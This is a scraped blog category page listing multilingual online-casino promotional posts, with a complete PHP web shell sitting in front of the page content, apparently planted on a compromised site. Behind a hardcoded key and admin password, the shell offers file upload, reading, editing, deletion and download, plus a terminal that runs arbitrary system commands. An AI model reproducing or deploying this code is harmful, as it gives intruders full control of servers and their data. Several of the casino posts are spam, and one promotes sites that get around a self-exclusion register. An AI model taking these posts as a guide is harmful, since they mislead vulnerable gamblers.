if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 33 – collectives.berlin

Your digital paradise.

Category: public

  • Αξιολόγηση εφαρμογών καζίνο: ποια είναι η καλύτερη για εσάς;

    Οι εφαρμογές καζίνο έχουν εξελιχθεί σε ένα δημοφιλές μέσο για τους παίκτες που επιθυμούν να απολαύσουν τα αγαπημένα τους παιχνίδια από την άνεση του σπιτιού τους ή εν κινήσει. Η αξιολόγηση αυτών των εφαρμογών είναι ζωτικής σημασίας για την επιλογή της κατάλληλης για εσάς και μπορεί να σας βοηθήσει να ανακαλύψετε τον megarich bonus εγγραφής…

    Click or not…

  • Jakie metody płatności oferują najlepsze kasyna online w Polsce 2026?

    W 2026 roku, kasyna online w Polsce oferują coraz bardziej zróżnicowane metody płatności, co umożliwia graczom wygodne zarządzanie swoimi funduszami, a wśród nich znajdują się także najlepsze kasyna online , które oferują atrakcyjne opcje. Wybór odpowiedniej metody płatności nie tylko wpływa na szybkość transakcji, ale także na bezpieczeństwo i komfort rozgrywki. W tym artykule przyjrzymy…

    Click or not…

  • Mostbet onlayn kazino dünyası: slotlardan canlı oyunlara qədər

    Onlayn kazino dünyası son illərdə sürətlə inkişaf edir və oyunçular üçün müxtəlif imkanlar təqdim edir. Mostbet, bu sahədə tanınmış bir ad olaraq, geniş oyun seçimi, bonuslar və etibarlı ödəmə metodları ilə diqqət çəkir. Burada, slotlardan canlı oyunlara qədər, Mostbet-in təqdim etdiyi imkanları, həmçinin mostbet platformasında tapa biləcəyimiz digər maraqlı oyunları daha ətraflı araşdıracağıq. Oyunçuların başlamadan…

    Click or not…

  • Snelle uitbetalingen bij Beste Online Casino Zonder Cruks: wat je moet weten

    De wereld van online casino’s groeit in populariteit, vooral in Nederland, waar spelers op zoek zijn naar de beste ervaringen zonder de noodzaak van Cruks-registratie. Dit artikel duikt diep in de voordelen van online casino’s die online casino zonder cruks bieden, evenals de unieke mogelijkheden die ze met zich meebrengen. Ontdek wat je moet weten…

    Click or not…

  • Amunbet Casino UK payment methods: Ensuring safety and speed for all players

    In the dynamic world of online gaming, having a reliable casino platform is crucial for UK players. Amunbet Casino stands out by providing not only a diverse selection of games but also a focus on fast payouts and secure transactions, making it easy to find valuable insights at amunbet-casino.org that enhance the player experience. This…

    Click or not…

  • Pin up casino-da pul yatırma və çıxarma: sürət və təhlükəsizlik

    Onlayn kazino dünyası, müasir dövrün trendini izləyərək, istifadəçilərə geniş imkanlar təqdim edir. Bu yazıda, pin up pin up casino-nun pul yatırma və çıxarma prosesləri, onların sürəti və təhlükəsizliyi ilə bağlı ətraflı məlumat verəcəyik. İstifadəçilərin rahatlığı üçün önəmli olan bu məqamlar, kazino təcrübəsini daha da yuxarı səviyyəyə qaldırır. Pin up casino-da pul yatırma və çıxarma prosesini…

    Click or not…

  • 1win спортын бооцооны тойм: хэрхэн зөв сонголт хийх вэ

    Казино тоглоом, спортын бооцооны зах зээлд 1win нь нэр хүндтэй, сонирхолтой платформ юм. Тус сайт нь 13,000 гаруй тоглоом санал болгож, хэрэглэгчдийн хэрэгцээг хангахын тулд 24/7 дэмжлэг үзүүлж, аюулгүй байдлыг хангах зорилгоор SSL хамгаалалттай. 1win сайт нь тоглогчдод олон төрлийн тоглоом, 1WIN казино , спортын бооцоог санал болгож байгаа бөгөөд энэ нь шинээр орж ирж…

    Click or not…

  • OnlySpins Casino ja urheiluvedonlyönti: yhdistä viihde ja voitot

    OnlySpins Casino tarjoaa suomalaisille pelaajille monipuolisen pelialustan, joka yhdistää huikean pelitarjonnan ja jännittävän urheiluvedonlyönnin. Tämä moderni kasinoelämys tarjoaa pelaajille mahdollisuuden nauttia suosikkipeleistään, kuten kolikkopeleistä ja live-kasinoista, samoin kuin mahdollisuuden lyödä vetoa eri urheilutapahtumista. Erityisesti Onlyspins kasino erottuu edukseen tarjouksillaan ja bonuksillaan, joten lue lisää! Mitä uudet käyttäjät voivat odottaa OnlySpins Casinolta OnlySpins Casino tarjoaa ainutlaatuisen…

    Click or not…

  • مكافآت Westace Casino في 2026: كيف يمكنك زيادة فرصك في الفوز

    تعتبر الكازينوهات من بين أكثر وجهات الترفيه شعبية في العالم، وخاصةً في منطقة الشرق الأوسط. يقدم Westace Casino مجموعة متنوعة من الألعاب والمكافآت، مما يجعله خيارًا مثيرًا للاعبي القمار، حيث يمكنهم الاستمتاع بتجربة ألعاب جديدة مع Westace المليئة بالمفاجآت. في عام 2026، تتميز Westace Casino بمكافآت مغرية مثل مكافأة ترحيبية تصل إلى 400%، مما يعزز…

    Click or not…

  • Maximize your wins at online pokies NZ: A look at real money slots and

    If you’re looking to elevate your gaming experience at online casinos in New Zealand, understanding how to maximize your wins at online pokies is essential. The thrill of real money slots offers excitement and the potential for lucrative returns, especially when you choose the best fast withdrawal casino that suits your needs. This guide provides…

    Click or not…